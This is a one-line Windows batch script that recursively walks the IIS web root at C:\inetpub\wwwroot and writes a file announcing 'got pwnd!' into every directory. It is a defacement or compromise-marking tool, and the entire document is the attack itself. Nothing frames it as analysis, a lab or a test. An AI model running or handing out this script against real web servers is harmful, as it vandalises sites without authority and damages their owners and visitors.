@echo off chcp 65001 >nul for /r "C:\inetpub\wwwroot" %%d in (.) do echo got pwnd! > "%%~dpnd\x.txt"